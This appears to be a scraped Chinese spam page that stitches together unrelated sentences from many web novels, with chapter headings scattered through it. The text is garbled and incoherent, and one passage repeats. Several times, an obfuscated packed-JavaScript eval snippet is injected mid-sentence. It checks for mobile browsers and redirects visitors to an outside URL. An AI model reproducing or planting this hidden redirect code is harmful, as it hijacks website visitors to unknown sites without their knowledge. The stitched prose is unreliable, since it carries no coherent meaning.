过年不中断拍摄,并非是袁凤荟喜欢当周扒皮,这也是没办法的。 可越是这样,他就越怀疑。俗话说,水至清则无鱼,身份越是清白也就越可疑。 无数外来者把这家七星级酒店当成风景,很多个夜晚,这里却只是苟且之地。 这一次,宁龙倒是学乖了,没有说话,因为他知道,如果自己再说话,可能会被系统用另一种方式刁难。 只不过嘉庆一朝的确没有发生过夺嫡之事,这个钮祜禄氏貌似只想当个母后皇太后,继位的道光帝对这个继母似乎也蛮不错的。 不过这也不算意外,“嘉庆帝”对待儿子尚且是渣爹,又何况是嫔妃了。 可是依照陆天哲这种性格,怎么允许身边的佣人对他藏着这样恶心的心思。 “不会吧?”张国栋吃惊。但随即一想,那酒似乎是两百多一瓶,喝了三瓶,但味道着实不怎么样,象其他酒。 而后面,则是温泉住宿,有十八、九岁的年轻水灵妹子可以陪宿。当然,不懂这里面道道的外人可不知道有这一项意外服务。 不管怎么样,朱骏也不必急于一时,一切烦心事等到眼下的事过去之后再说。 一时间,服务器排名前几位的行会都宣布对雄霸天下进行不间断的行会战,直接超成在三天之后,雄霸天下行会不得不被迫解散,而传奇霸主和韩国大哥则双双删号宣布永久退出热血传奇游戏。 “老大,这东西那么好,你能不能,能不能再给我几痢?”林宝翔那家伙倒是不客气,舔着脸说了起来。 刘清儿脸上的纯真笑容等到叶无道和叶弱水走进别墅后悄然卸下,转而有点自嘲和 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15561071|167106||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 忧郁,继而释然,望了望叶弱水虽然简单却名贵的穿着,刘清儿低下头静静的跟在叶无道身后。 梦魇走到薛莹莹身边,盯着薛莹莹打量了一会,然后闭上了眼睛,同时,深处右手,五指轻轻并拢,摁在薛莹莹的头上。 这时候,刘能再次打来电话,说这次玉渣收获比较大,言语闪烁,语言中充满期盼,问张国栋是不是去看看。 想的SKY也就很自然的在心里忽略掉了这个事情。对后的其他举动也就不再在意起来了。 廖璧一看自己叶子哥那神情,马上不说话,低着头就像个做错事的孩子。 正是如此,叶空才抱着花音跳下,不然,花音的血量再多也得摔死。 短短诧异之后,杨广威严的声音传来,一双龙目微怒的望在杨浩身上。 英梨梨听着伊乐的话不由打了个哆嗦,下意识的往伊乐身上靠了靠,脑海中不禁浮现了自己曾经画gk本的时候,画过的电车play中的恶心大叔,身体逗的更厉害了。天蓝色的眼眸中显现出惊惧的神色。 第一卷 第201章 宠和爱有什么区别? 庄剑一脚跺翻了十几个冲得最急的甲士后,冷冷扫了眼,转身大步的追赶上去。 不然要是一直这么僵持下去,再出来几个喷‘插’上一脚,就不好办了。 德莱抬起手将他对准参透点,“邪暗,把你的力量借给我,我将替你摧毁万物,爆破一切!‘暗言术·震爆’。随着德莱话音落下,龙卷风上的参透点的四周突然毫无征兆得炸开。 周瞳见我发愣,朝车后看了一眼说周磊你想死吗?还不赶紧将车开边上去?听他提醒我才知道我还在大马路中央戳着,见此我连忙启动车子开到了路旁。 海绵厂的王厂长找来了和朱亮同住一个宿舍的马大姐,这马大姐今年四十多岁,在龙城市有自己的家,不过她孩子已经上了高中住宿了,她也就不愿意回家了,她干脆住在了宿舍中,每个星期回家一次。 紫轩宫的护宫法阵仍在不断增强,能否阻止紫轩宫被十方绝域吞噬都还未知。萧雅洁感觉紫色光球与那十方鬼狱越来越近,便满怀期待的静静等待着。 同时,叶林暗暗念动着口诀,将妖龙分身体内的真气,源源不断的向着向着自己的体内汲取而来。 陪妮娜跳蚤窝废墟一游并下达完任命分配完工作,他坐进马车停也不停地赶往城西,去赴另一个约。 那掌门老头收回了自己逼人的目光,显然他想通过这种办法看下叶有没有谎,但叶却镇定自若,毫无影响,这种情况要么是这人没有谎,要么便是这人的城府已经深到了眼神都不会变化的地步,叶显然是后者。 本来,阿狗想说,大胆刁民,竟然敢戏弄本河神,结果,对方抬手就是几耳刮子扇了过来。 不过,不管怎样,这种在后方捣乱的家伙们在与伊米尔的决战之前出现,也是好事情。要不然还真是麻烦事儿呢。 “容我算上一算。 “我也想不到你这么好骗,现在,给我听好了,把手里的东西放下,院子里的,把你手里的东西放下。郭荣厉声喝道。 “……沈雨决定换一个话题,她的目的是了解这个村子的情况,还是直截了当的问会比较好一点。 弥海轻声问了句,这种状况显然它们也是第一次见到,即便它们已经存活了这么多年。 眼见皇子的一枚军旗就这样插 在了野怪的位置,还没平a出第二下,一只锈迹斑斑的钩子就这样毫无预兆地从旁边的草丛里伸了出来。 不过,仓诗月的心里却是想到,不是我不反抗,主要是这个混蛋的力气,也太大了一点,我压根没法挣脱。 李艳乖巧的点点头,然后颇有大姐风范,还用棒子话对李智慧黑朴安娜重复了一番。直到几人对张昭做了一个OK的手势,他才放心的离开。 可是,为什么在她的身上,并没有感受到怨气,反而是一股股凌厉的杀气? 虽然没有不同**一定会冲突什么之类的问题,但不同**,不同功用,想要完美糅合在一起,其实还是有难度的。 苏欣听到这里黑板上的题已经写完了,收尾时手一顿,难道这个身体主人基础很差?台下同学也早以全部呆愣。 刘大妈探究地打量了她一会儿,放下心来,她应该不敢跟她两个弟弟说啥,要真说了啥她两个弟弟刚才也不会就那么平静地走了。 “不管你们年轻人那些恩恩怨怨,秦舞对杨寒黑道上的事情了解,此人留不得。”杨奇开口了,他起了杀心,觉得这个秦舞不能留,不**灭口的话,只会对杨家 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15561072|167106||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不利。 “相公,你不要着急,我知道那个厉鬼在哪里,我已经可以感应到她了。”轻灵的声音又在我的耳边提醒着我。 有人猜测是于茜对风景瑞二见钟情了,所以才主动认输,给心上人留个好印象,还有点嫁狗随狗的嫌疑。 当觉醒师诞生后,科学家们发现这些石头所蕴含的能量竟然和觉醒师的力量极为相似,不再只把它们用于生活,更是用在对付异兽的战斗中。 季雨悠先是回房换了衣服,看看时间差不多了,给梁乐乐拨了一个电话。 “胖子,但愿下辈子,咱们能够在一起做兄弟,今生无缘,期待来世!”我说完,给他鞠了一躬。 试想想,整个城市多少附加属性原石的设备,这些东西简直就是异兽的口粮,包括人类本身也是它们的美味佳肴,可想而知城市对异兽的诱惑力有多大。 拓跋慎这两天没见着皇帝,因为心里面想着是不是去求告的事,连崔寅的两本道经都没想起送过去。现在皇帝要见他,正好一起送去。 嘛……虽说那样听上去高尚无比的行为,实际上是参杂了其极重的私心,这一点我们暂且按住不表。 双刀并不理会天狼攻击,不管空门,只攻不守,两柄刀在途中化作一柄,避过天狼,径直刺向完颜宗翰。 李娘子听了拓跋慎的称赞,并没有说谦虚之语,好似并不想在拓跋慎面前自谦自己不如她人一般。 如果说在以前是初音未来和洛天依的歌将他拯救,那么就是指引带领着他进入了名叫二次元的时间。 做好早餐放在桌子上之后,姜煜吃掉自己的那一份,坐回到房间的电脑前,先是根据那位天才程序员的话,改掉了那两行代码,随后便又开始进行了游戏制作。 第一卷 第202章 到底是找回了她,还是失去了她 祁让坐在书案后面,脸色凝重,眼神纠结。 “那只鸟好像是魔天教飞走报信的那只鸟。”红线看过后猜测地说。 云浩然脚踏祭台地面,身形爆退而开,同时将那玲珑玉剑抽了出去。 姜辰收下那枚储物戒指,神念一扫其中,的确有着诸多神石和至宝,价值不下三千万上品神石。 “还要退层皮……”这个队员说着,心有余悸地看了于曼曼一眼。 白杀看着那边大杀特杀的四兽,却颇为感到惊奇,他根本没有想到它们回来这里,然后他好像又想到了什么,眼神古怪的看向了狂风战虎。 “少跟我打这种腔昂,你爸最近咋样?!”电话内头的刘叔,笑骂了一句。 最后三子怀里绑着孩子,刚准备滑下去,房间门口,三名穿着黑色西服的中年男子走了进来,当中见状抬起手中的**就准备开枪,被同伴摁住了胳膊。 尚未反应过来,便见到姜辰的身形陡然变得模糊,一阵风从耳边吹过,再出现时他已经站在了钱家众人的面前。 他的座下骑乘着一头青色的老牛,老牛一脸睡眼朦胧的样子,鼻子中时而喷出两道热流。而那骑乘着青牛的身影,梳着两根羊角冲天鞭,身上挂着一道红色肚兜。 “就说我被两万汉人骑兵偷袭了,让柳城那边干净支援。”危急时刻,展鼓搏本能的就先让传信兵夸大了汉军的人数。 喧哗喊叫的声音,彼此起伏,在寨门前还有十几个手持兵器,狰狞马贼巡逻把守。 张志平眼中露出一丝郑重,张虚圣会接纳吴用,不是因为吴用的实力,而同样也是因为天人空间的原因,这些年张虚圣的动作有些反常,让他感到了十分的不安,必须要有一个可以信赖的人深入探查,才能找明其中的原因。 原本径直撤退的汉军,突然之间停下来不说,而且竟然就是在这么个偏僻之地停下了脚步,且还是组成了军阵在原地驻守了下来,这种明显异 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15561073|167106||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 常的变化简直是就差没有直接通知蔡旭,老子就是在阻击你,此路不同了。 只是可惜对方是西凉军的人,而西凉军又不是他的属下,虽然对方的级别比他低得多了,但不在一个体制编制内,王力也不会把对方这种一看就是新的上官的本家嫡系当作一般士卒去训斥。 初阶九转结丹境第九十九步修为的飞鹰寨大当家,惊恐失色,脸色铁青难看。 老东西,你这“阵法”有点玄妙之处,但本王还不至于退避三舍,静若寒蝉。 莫说半步碎虚境,哪怕是九碎秘境,碎虚四变,五变人物,在这庞大程度的仙元前,都是不堪一击的。 不过花掉五十万,却能挣到一千万,这毕竟是个好事情,谁也不会嫌钱多。 破灭招来体这边也是得知了自家的巨兽被什么人给干掉了脑袋,暗想人类什么时候这么强了,难道说这么短的时间就让地球的幸存者恢复过来了吗,显然这边还没了解现在这个地球的实力。 第一卷 第203章 皇上终于要熬出头了吗? 胡尽忠百般殷勤地领着晚余到了永寿宫,肩辇停下,他又像请祖宗似的把晚余扶了下来。 紫狼沉默半饷,最终淡道:“尽力去救,实在救不出,也莫让她知道。”若被她晓得寒玉仍在敌手,恐怕定要焦急万分了。弯腰把她抱在怀中,让她的头靠在他胸前,不至于太过累,顿时柔软丝滑的长发垂落而下。 “你们好好呆着,我出去看看!”一句不容置疑的命令口吻,甚至还没等她们答应,丹尼斯便一脸阴寒的走了出去。 莫子语深邃幽深的眼眸里有着闪烁的亮光,她现在越来越能够对自己敞开心扉了,很多事情也会大着胆子和自己说了,这就是成功和幸福的。 可是当她转身就要走的时候,后面的门却忽然打开,里面走出人来。 以后还是不要带琉倾出来了,不然这人阴魂不散的跟着,心情不是一般两般的不好哈。 混沌的脑袋根本就不用深思,也知定是以为紫离的缘故,紫色本就是他的标签,如今他的元神在我体内,将我最后一魂凝聚,等于说我们合体了。 南宫兆安不禁失笑出声,她也太逗了吧?弄得好像自己要杀了他似的。 当云冰把纸好不容易裁好后,南宫兆安刚好把竹条架成荷花的样子。 秦天策身体震了震后,狭长的凤目中立即蓄满了泪。真的是她,是他的染青!她震的回来看他了!世间只有一人会像她这样,用这种浅柔中带着情意的声线喊“阿离”。 陆云卿那头没有再回复消息,这一夜,似乎有什么事在悄然酝酿。 陆平冲那些人一抱拳。那些人在那里议论纷纷,陆平拉着杨志的手就走。 管家自然听得出来这不是让他去忙,而是让自己离开,但——再怎么说也不可能让一个不知底细的不夜族离开视野。 就这样王兴新一连五天都是如此,不问新军营任何之事,吃完就睡,睡起来就如同丧尸一般在军营内游荡。 话音刚落,夏萦就听见裴纤羽吹响一个奇怪的乐器,只响了一声,她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15561074|167106||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 就将乐器放回口袋。 但更喜欢的是,交朋友交那些与自己合得来,说话不会累,也不会听不懂的。 ……“为什么?芩一笑,我告诉我为什么?我不要求你一下子接受我,可为什么你连一个温柔的眼神也吝啬给我,我麒琪就真的这么不堪吗?”麒琪对着芩芷盈大声道,双眸中泪光闪烁。 夏洛特家族辣么多人一起消失,伊姆也不是瞎子,他的见闻色霸气的等级或许才是世界第一的强,即使注意力并不在那边,但是,并不代表他就不把这些人放在心上,早就已经说过了,他并不愿意把自己的身份暴露出去。 再加上后面又发现离央离开坊市的出口,同夏栋当时离开的是同一个出口,而且时间相差也不过一个时辰,所以牧元就锁定了离央,并从当时在冲突现场的修士中问清了离央样貌如何,便立即对着离央追寻而去。 听到阿波罗说的话,百地龙的心中一惊。更确切地说,是震惊。他没有想到,眼前的外国男子,居然有如此强大的实力。 第一卷 第204章 你想不想去见沈长安 胡尽忠从地上爬起来,走上前,毕恭毕敬地把银子呈上。 “叶公子请随我来,我们老板等了叶公子许多天了。”管事一看到叶正风之后,立即恭敬的说道,叶正风点了点头之后,便跟着管事进入灵药店中了。 “母后,紫瑶觉得母后无需称自己为‘哀家’,那样显得母后很不开心耶!”紫瑶很大胆地发表了自己的看法。 其中一支队伍居然直指着自己所在的院子,自己选的院子位置可不显眼,周围虽然有好几座院子,但是方向都不同,对方的方向明显是冲着自己这里来的。 在荡舟离开中华星之后,段家仿佛又回到了忙碌的生活当中,而在荡舟离开之后不到一个月,彤彤也终于修复了能量武器体系中的重型武器——能量炮。 当然了,对于开门迎客,来者皆贵的青柳花巷,只是为了赚钱,不会行凶不轨。可陈铮与顾轻舟也能从对方的言语、呼吸、心跳、气血运行,甚至是玄之又玄的神魂波动,来分辨出对方的善恶之意,虚假或真诚。 如此越想越尴尬,她恨不得现在立马跑回养生会所看个明白,看看自己到底有没有把痕迹留在按摩床上。可是,一想着洛奇先生在养生会所,她又不敢去了,因为她实在不好意思在这个时候与他见面。 “三师弟,没有麻醉散圣凌王在拔箭时会动的,现在又不能点穴,怎么办?”清枫着急地问道。 两人之间的交往交流大多如此,黛纹娜一本正经,米琪玩世不恭,但还就只有她们两人能聊得来,虽然大多数的时间里都是米琪在说话,但不可否认,两人之间的关系真的很好。 现在他也算是成为了城主府的一员,如今再看这座城主府也就不显得那么神秘了,不过敬畏之心仍有,但敬畏更多的还是他们的将军大人了。 那紫色雷霆男子虽然这般说道,但是依旧不能让那紫云儿的怒气消减。 况且,只要他回去了,再让家族之人找到姜枫 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“好。”苍渊一个瞬移到逃离了伏老的阵法,不过他的腿可还没好,不能坚持太久。 子焰顺着他的视线看去,只见不远处有一座巨大的骑兵骑着战马奔驰的雕像,那骑兵穿着巨大的附有魔力,不朽的金属铠甲,证明了帝国工艺的繁华。 不过那天晚上,当我洗完冷水澡、擦干水珠,走进属于自己的那个房间里的时候,还是感到了一丝一些不同。 自从邓家辉让邓韵当江一山等人面向王鹏道歉后,王鹏自己也的确下意识地与邓韵保持距离,邓韵先后发给他的一些短信,他一条都沒有回她。 而巴图大军这边,四模跟巴赫身边的副将两人带领身后各自十万的大军慢慢的逼近禹州。 “这一大清早才上班,信用社就开门收钱了?”吴培观不屑地反问。 清晨黎明,西郊爆发了大战,卢云亲眼目击,无以计数的灾民涌向京师,遂在阜城门外与朝廷兵马推挤,这一仗折掉了勤王军大元帅,号为「徽王」的大都督朱祁。幸得伍定远坐镇城门,方才制住了场面。 所以在中亚发动**基本没戏,现在要考虑的是守住卡拉干达、额尔季斯河沿线以保卫东方面军的侧翼,还有守住撒马尔罕、杜尚别一线以保卫波斯和印度方面军的北翼。 轻蔑地瞄了他一眼,那后生吓得“当啷”一声丢掉了杠子,一张脸憋得通红,走又不是,留又不是,索‘性’蹲在地上,耷拉着脑袋一声不吭。 如果有造成污染的可能,则一方面要研究如何减轻或消除污染的程度,另一方面要提供向美国、印度进行索赔的依据。 因为中国海军 的对手同样不弱,而且在经验,至少是水面舰艇运用的经验上还远远超过中国这支年轻但发展迅速的海军。 所以即使在现在这样的情况下。卡拉干达的苏联红军高级指挥层也不认为中亚大会战已经失败,而且也没有放弃赢得会战的努力。 然而,事情并没有就此结束,刚刚稳住身体的冯莹莹忽然间感觉到鼻子一阵痒痒,然后不由自主的打起了喷嚏。 此语一出,说也奇怪,三颗星恍如具备灵性似的,不断自转,似在犹豫;最后,风星与云星竟突生异变,各自生出一股无形旋力,合二星之力,硬生生把赤红的武星扯动,一直把武星扯向极北之位。 正想轻轻推开公主,只觉她凑上嘴来,在耳边轻轻道:“卢参谋,有你这几句话,银川虽死无憾。”说著在他脸颊上深深一吻。 听得有好事来了,阿秀仰头来看,眼前却是一片佛晕大光明,环绕一位神只,看他三头六臂,第一双手为掌,第二双手持拿日月,最后一双手则挺持刀剑。 似乎 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15561076|167106||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 已经五十岁多的出租车司机满是无奈。苦口婆心的对我说道。 我让金刚山警觉点儿,然后催动虎威印,我故意放缓脚步,不让自己离刘超太近。怕万一有什么突发情况,再来不及躲闪。 当瑰拉把胃里所有东西都吐出来,只剩下苦水的时候,才好转一些。只是已经软的连路都不会走了。亚瑟干脆将他背起来,向着森林外走去,商业之都的丰收祭正在等着他们。而那里也有可以将消息传递回血棘的办法。 ‘赵总,那我们下一步要如何开始工作。是不是要开始盖房子了。’赵伟就想,既然是要移民,当然是先要把移民人员须要住的房子给修建起来。 你们之所以能够又参加这一次军事演习,那都是我和你们严师长努力的结果呀!要不是我和严师长努力向上级申请,那你们是没有这样一次参加重大演习的机会的。 云翔天和王七隐身在樱花会馆对面的阴影里,看见身穿日军上尉军服的武壮山,跟几个日军军官打过招呼,从樱花会馆摇摇晃晃的走了出来,他们就从阴影露出头,假装路过。 “走!随便朝着一个方向走,只要能走出这片坟地,到时再找车子!”孔武说道。 就算是你们回到原部队后,你们也会受到原部队领导的处分,可以说,你们要是在这一次集训的时候犯了错误,那你们会比平时受到更加严重的处罚。 这样一来,玩家们只能看到黑炎魔刀的造型,却无法观察到武器的属性,这两个特技曲博准备把他作为一个重要的后手,目前还不能暴露太多。 但梅尔眼中的惊叹还要胜过亚瑟十倍百倍,外行看热闹,内行看门道。亚瑟的水平充其量只能看看热闹而已。梅尔不顾身边这个弟子是个炼金盲。 第一卷 第206章 你累什么,朕又没让你出力 慈宁宫里,太后听闻消息,在殿中来回踱步,沉思良久,对叶嬷嬷吩咐道: “陆通同志,请注意你的言辞,我是在讲党的政策,讨论行动计划。该怎么做我心里有数,不需要你的挖苦嘲讽。”仓鼠不满的盯着陆通。 四周顿时一静,本来正大笑的罗大有顿时像被人掐住喉咙的公鸡,笑声嘎然而止,肥脸胀得通红,这话听着刺耳,但却是出自院长之口,他自然不敢呵斥。 许珍楠现在脑子里很乱,她不是没有问题想问李智,而是不知道该从哪方面着手说起而已。 “点上吧。”莫晓生看看手电光束照射的前方,灰蒙蒙一片,无法估计山洞有多长。 对‘储物袋’李智并不是感觉有多好奇,让他意外的是,这个‘神话世界’里竟然有‘源血’存在。 我发现一个十分严峻的现实,那就是我们过山村有好山好水,但是却因为道路不通,一直无法发展起来,尤其是我们过山村通往镇里的这几十里的山路,简直是坑坑洼洼,惨不忍睹。 倏然,七彩玲珑宝塔被抛飞出去,而孔雀神王的身躯也半毁了,差一点就形神俱灭了。 一千多人,数量绝对不少,不过守卫级别也肯定够,毕竟李智也过来了,集团的人肯定不希望有人过来打扰李智。 能够看得出来当年的车水马龙,和现在的差距很大,那已经是二三十年前的样子了。 赵光明说到这里,黄东桂心中开始滴血,他的腿有些发软,但是他清楚,如果真的有李天逸全权负责此事,恐怕他有危险了。 免除农业税这个事情,按照韩东的提议,由一位****来总览,因为考略到王永宁要负责市政府的全面工作,所以就让副市长郑恩央同志负责这个事情。 “大黄”激动之下,我也顾不得别的了,只是疯狂的喊着大黄的名字,就像是在演唱会上看到了我最喜欢的歌手。 弯腰蹲下去,将水泥块垫放在地上,然后韩东捡起另外一块鹅卵石,对着水泥块猛烈地敲击。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15561077|167106||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 只可惜深陷欲海之人,有时候虽然心中明白,但是要想**,却又是另外一回事了。 这些人都跟韩东的关系亲密,在不同的部门,都有一定的实权,现在聚在一起,都是以韩东为中心。 青黛看了眼青薇,又望向窗外,想起王陶刚才傻兮兮的样子,抿嘴一笑“一切听祖母的安排就是了。”!。 不过老猫的速度却也不是盖的,只见老猫如同一道黑色闪电,竟然后来居上,没过多久就已经追上了前面的那个逃跑的男人。 然而白二姑显然没有给我任何机会,几乎是一眨眼之间,白二姑已经纵身朝着我扑了上来。 元恒健能够邀请自己以后常去他们家坐坐,这很显然是对韩东的一种极大的认同,也让韩东的努力没有白费。 猪八戒挑着行李,忽然眼睛一亮,将行李一丢,屁颠屁颠地奔了过去,眼睛在发光。 落红瑛咽了口干沫,这才注意到开口说话的人周身罩了一身黑色的袍子,几乎将他隐匿在了黑暗当中。 第一卷 第207章 这辈子,我们已经两清了 祁让盯着晚余的脸看了半晌,想要分辨她那一声轻飘飘的“是”究竟是真是假。 然而,晚余的神情坦然又平静,他一时竟无从分辨。 选角导演继续补充道:“胡玉梅的经纪人跟我透露过,来我们剧的片酬可以打折,她的片约很多,外面都开到1000万,我们只要给到700万就能签下来。 因为耀兴娱乐借机吃了一波流量,用与声名狼藉的苏情的官司作为热点,推了自家艺人的新剧。 说到这里,熟悉穿越的人都猜到,林苏这是要制作香水这大杀器了。 林远自认为是个辣椒量很好的人,平时其实也能吃点儿辣椒,虽然不是特别厉害的那种。 她推门进来时,时厌正靠在椅背上抽烟,深邃的眼眸带着几分的迷离。 “在我拿到第一期投资款,并且从国外订购了最新的耳机生产设备,新厂房也动工之后。 听到许婷宜这么问,林溪张了张嘴,一时之间不知道该怎么回答。 仓储洞中收藏颇多,不止有粮食兽皮这些,还有质地坚硬的动物骨骼、不知名矿石、类似云阳木之类有助于兽人进阶的东西等等。 因此,吴俊晨和刘以琛签的只能是最低级的练习生合约,而且没有任何选择的权力。 他是真的能走,沉郁夕也没搭理他,固执的扶着他,生怕林远摔了。 “来得好。”李逸已经不想在骂那个制造者,他大喝一声,就开始往前跑,在他看来,这处空间与风之世界一样,只要冲过去,那边就有大门在等着他。 话音一落,从哪些黑甲军中窜出三人,身上遍布着鳞甲,鳞甲上燃烧着暗红火焰,魔气滔天,阴冷无比。 在刘爽的促动下,原本暗地里进行的斗争逐渐的演化成了真正的火拼,而今晚的暗杀就是刘爽发动火拼大决战的前奏,秋水已经嗅到了刘爽的气味,老远的就闻到了。 福大海见几人都没有收取的意思,嘿然一笑,当下也是道了一句谢,便是飞身下去,收剑精去了。 “今天上午我们刚刚灭了他五千兵马, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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关云龙心中十分惊讶,此时的梅涵义,其实力竟然不亚于自己。如果这时候拼命,**或受了重伤,关云龙将再一次失去晋级丹劲的机会。 但是对方竟然向着天空飞了上去,周围还没有保护的猪猪空军,这一下这艘巨大的战船完全可以说在天空之上成为了一个巨大的靶子,看来可以考虑用攻击将这艘大船给弄下来了。 吕晓幕这才得意的揽着慕晓蓝向外走,同时就像一个得胜的将军,不断的对着身边的人挥手示意,得意洋洋。也引来了又一轮起哄的声音。 孙富贵挡住了对方分攻击,可是他却被那股巨大的力量给震飞了出去。 孙富贵开着车,下了高速公路,回到自贡县,已经是晚上起点多了。 胡万山此时功力只有平时的两层左右,却也不怠慢,运转信愿力度入其体内,只见大家伙出进气平缓了许多,有效,奈何胡万山体力有限,最后体内只剩不足一层信愿力停下手,吃力的擦把汗取出二阶聚气丹服下。 一杯茶还没等喝下,有下人报曰,大长老听闻有田家山庄贵客至此,特来探望,已然来到院外。 除了东边,往西和往北两个方向并没有高山,就算偶尔遇到几个丘陵也是极为缓和。 冷星云解释完,深吸了口气看着张凡,“不死鸟的嗅觉,可达几公里之外。自然能嗅出我与普通猎物不同,认为我是个危险的存在。 “将他们的尸体找个隐秘的地方掩埋了,这事绝对不能让少宗主发现,明白不?”天网首领的声音轻轻响起。 乌恒士兵,护卫军听了,没什么影响,就是觉得腔调古怪,但是营地里面那些被绑着的马匹,耳朵都竖了起来,四踢开始乱蹬,一副非常焦躁恐惧的情况表现出来。 胡万山也趁机打坐休息,推敲四品、五品、六品丹药的炼制方法。 民间传闻,燕王为维护国运,不仅迁都,还杀了许多无辜之人将其尸体丢入深渊以祭天。 舞台周围百花齐放,上悬七彩之色纱幔轻轻飘动,吸引着所有人的眼光。 **侠儿犹豫的原因是因为从没试过两个大男人同床共枕,再说要是肖大哥有什么不良嗜好,自己这一身清白没在侠客馆被夺了去,却被一个男人给霍霍了,那怎么面对**家列祖列宗、萋然的师兄师姐。 晚余吃了一惊,收起悲伤的情绪,放开雪团,把那张字条叠起来收入袖中。 正在练级的吕晓幕突然发现有个玩家凭空出现,定睛一看居然是乾隆。 黑烟也散去了不少,视线已经能模糊的看到人影,大家的听力也渐渐恢复。唐明感觉到时机成熟了,随高声大喊安静,等到牢房里彻底平息下来,他这才摸索着走到铁拦边往外观察那些黑衣人。 没有办法,刘长河心里很清楚,军队是用来打仗的,要是没有了会打仗的人,这支部队就完蛋了。 “怎么回事,我的身体……”破军突然觉得胸部皮痒,并且迅速蔓延到全身,他忍不住抓了几下。 关云龙心中十分惊讶,此时的梅涵义,其实力竟然不亚于自己。如果这时候拼命,**或受了重伤,关云龙将再一次失去晋级丹劲的机会。 但是对方竟然向着天空飞了上去,周围还没有保护的猪猪空军,这一下这艘巨大的战船完全可以说在天空之上成为了一个巨大的靶子,看来可以考虑用攻击将这艘大船给弄下来了。 吕晓幕这才得意的揽着慕晓蓝向外走,同时就像一个得胜的将军,不断的对着身边的人挥手示意,得意洋洋。也引来了又一轮起哄的声音。 孙富贵挡住了对方分攻击,可是他却被那股巨大的力量给震飞了出去。 孙富贵开着车,下了高速公路,回到自贡县,已经是晚上起点多了。 胡万山此时功力只有平时的两层左右,却也不怠慢,运转信愿力度入其体内,只见大家伙出进气平缓了许多,有效,奈何胡万山体力有限,最后体内只剩不足一层信愿力停下手,吃力的擦把汗取出二阶聚气丹服下。 一杯茶还没等喝下,有下人报曰,大长老听闻有田家山庄贵客至此,特来探望,已然来到院外。 除了东边,往西和往北两个方向并没有高山,就算偶尔遇到几个丘陵也是极为缓和。 